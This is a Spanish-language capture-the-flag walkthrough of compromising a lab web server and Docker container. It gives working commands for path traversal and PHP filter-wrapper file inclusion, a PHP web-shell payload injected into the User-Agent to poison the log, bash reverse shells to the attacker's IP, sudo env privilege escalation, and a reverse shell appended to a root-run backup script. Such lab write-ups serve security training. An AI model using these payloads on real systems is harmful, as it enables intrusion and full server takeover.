sudo nmap -sV -Pn 10.10.181.154
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
Service Info: OS: linux; CPE: cpe:/o:linux:linux_kernel
http://10.10.181.154:80
Figura 1: Portal Web
Al dar click en dog o cat nos muestra una imagen en consecuencia.
Si seleccionamos por ejemplo Dog y capturamos esa petición con Burp Suite.
En el parámetro php que indica dog/cat tenemos un potencial path traversal.
Añadiremos ../ después de dog
Figura 2: Añadiendo ../ después de dog
Figura 3: Respuesta en la que podemos ver una posible exfiltración de datos
Aprovechando que podemos pasar argumentos antes del parámetro podemos intentar exfiltrar datos a través de un wrapper PHP.
php://filter/convert.base64-encode/resource=dog/var/www/html/index.php
Figura 4: Uso del wrapper php://filter
Se aprecia que la aplicación añade automáticamente la extensión “.php” al valor pasado en el parámetro, lo cual indica un posible vector de vulnerabilidad en el manejo de la inclusión de archivos
El parámetro &ext= evita que se añada automáticamente “.php” al archivo que se quiere incluir. Sin él, al usar un wrapper (como php://filter), se agregaría “.php” y fallaría la inclusión. Con &ext= puedes dejar la extensión vacía y que el wrapper funcione correctamente.
/?view=php://filter/convert.base64-encode/resource=dog/../../../../../etc/passwd&ext=
Figura 5: Uso del parámetro ext=
Figura 6: Lista de usuarios del sistema
Ahora probaremos a analizar el log del sistema
/?view=dog/../../../../../var/log/apache2/access.log&ext=
Figura 7: Log del sistema
Inyectamos código PHP en el user agent para modificar el index y añadir un parámetro que, al incluirse, permite ejecutar código en el servidor.
User-Agent: <?php system($_GET['cmd']);?>
Figura 8: Uso del parámetro User-Agent
Si le pasamos el parámetro cmd por URL: (Para ver el ID del usuario veremos que devuelve www-data)
/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=id
Figura 9: Comprobación del log para ver el ID del usuario (www-data)
Usaremos una sentencia típica de bash (Revisar IP de nuestro Kali)
bash -c 'bash -i >& /dev/tcp/10.23.73.4/4444 0>&1'
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.23.73.4%2F4444%200%3E%261%27
Figura 10: Insertamos la sentencia de la Shell reversa en la petición de BurpSuite
nc -lvnp 4444
Si enviamos la petición de la Reverse Shell (Burp Suite) veremos que obtenemos acceso
Figura 11: Conexión establecida
script /dev/null -c bash
export TERM=xterm
Figura 12: Reverse Shell estabilizada
Si recordamos en el sistema no hay usuarios creados.
Por ello debemos istar sólo los usuarios con UID ≥ 1000 (usuarios reales, no del sistema)
awk -F: '$3 >= 1000 && $3 < 65534 {print $1}' /etc/passwd
Figura 13: Listado de usuarios reales, no del sistema
Llegados a este punto, intentaremos ver que comandos puede ejecutar el usuario con privilegios de administrador
sudo -l
Figura 14: Resultado de sudo -l
Veremos que tenemos privilegios sobre /usr/bin/env
En este caso la escalada es bastante sencilla ya que podemos ejecutar el comando env con el parámetro bash y obtener un shell.
sudo /usr/bin/env /bin/bash
Figura 15: uso de sudo /usr/bin/env /bin/bash
Las tres primeras flags las tenemos aquí:
Figura 16: Flag (1 - 4)
Figura 17: Flag (2 - 4)
Figura 18: Flag (3 - 4)
Si nos fijamos (además de que lo dice en el reto) el id del host donde somos root es un string id similar a los que genera Docker. Por lo que estamos en un entorno de Docker
Para escapar podemos navegar a /opt/backups.
cd /opt/backups
Figura 19: Navegamos a /opt/backups
Encontramos un script que hace un backup completo del contenedor por lo que debe estar siendo ejecutado por el usuario root
Debemos modificar el script de backup (Revisar IP de nuestro Kali)
echo 'bash -i >& /dev/tcp/10.23.73.4/9999 0>&1' >> backup.sh
Figura 20: insertamos la llamada a la Reverse Shell
nc -lvnp 9999
Figura 21: Servidor a la escucha en el puerto 9999
Si ejecutamos el script, podremos ver que aunque ponga que la conexión ha sido rechazada se conectará exitosamente
./backup.sh
Figura 22: Ejecución del script backup.sh
Figura 23: Conexión establecida en el puerto 9999
Listamos los archivos y veremos que efectivamante está a nuestro alcance la flag 4
ls
Figura 24: Flag (4 - 4)